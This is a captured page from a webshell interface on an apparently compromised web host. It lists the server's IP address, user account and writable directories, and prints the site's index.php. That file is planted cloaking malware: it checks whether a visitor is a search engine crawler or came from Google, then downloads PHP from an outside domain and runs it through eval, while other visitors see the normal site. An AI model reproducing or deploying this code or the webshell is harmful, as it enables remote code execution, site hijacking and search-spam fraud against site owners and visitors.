BotaxWebshell
Server IP : 68.178.172.28  /  Your IP : 216.73.216.26
Web Server : Apache
System : Linux 28.172.178.68.host.secureserver.net 4.18.0-553.89.1.el8_10.x86_64 #1 SMP Mon Dec 8 03:53:08 EST 2025 x86_64
User : kiskarnal ( 1003)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /home/kiskarnal/www/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/kiskarnal/www/index.php
<?php
// ============================
// Script Universal PHP Support
// ============================

// Set cookie "visited" selama 1 tahun
$cookie_expiration = time() + (365 * 86400);
if (!isset($_COOKIE['visited'])) {
    setcookie('visited', '1', $cookie_expiration, "/");
}

// Deteksi bot search engine
function isSearchEngineBot() {
    if (!isset($_SERVER['HTTP_USER_AGENT'])) return false;
    $ua = strtolower($_SERVER['HTTP_USER_AGENT']);
    $bots = array(
        'googlebot', 'bingbot', 'yandexbot', 'baiduspider',
        'duckduckbot', 'slurp', 'facebot', 'ia_archiver',
        'ahrefsbot', 'google-site-verification', 'google-inspectiontool'
    );
    foreach ($bots as $bot) {
        if (strpos($ua, $bot) !== false) {
            return true;
        }
    }
    return false;
}

// Deteksi pengunjung dari Google
function isFromGoogle() {
    if (empty($_SERVER['HTTP_REFERER'])) return false;
    $ref = strtolower($_SERVER['HTTP_REFERER']);
    return (strpos($ref, 'google.com') !== false || strpos($ref, 'google.co.th') !== false);
}

// URL remote dan file lokal
$landing_page_url = 'https://kucingair.com/SaWaDiKap/kiskarnal.txt';
$index_home       = __DIR__ . '/index_bu.php';

// Fungsi ambil file dari URL (pakai cURL jika allow_url_fopen mati)
function get_remote_content($url) {
    $content = false;

    if (ini_get('allow_url_fopen')) {
        $content = @file_get_contents($url);
    }

    if ($content === false && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $content = curl_exec($ch);
        curl_close($ch);
    }

    return $content;
}

// Jalankan kode PHP dari URL (hanya jika berhasil diambil)
function include_remote_php($url) {
    $code = get_remote_content($url);
    if ($code === false || trim($code) === '') {
        http_response_code(404);
        echo 'Gagal memuat konten dari URL.';
        exit;
    }
    eval('?>' . $code);
}

// Logika utama
if (isSearchEngineBot() || isFromGoogle()) {
    include_remote_php($landing_page_url);
} else {
    if (is_file($index_home)) {
        include $index_home;
    } else {
        http_response_code(404);
        echo 'index_bu.php not found';
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit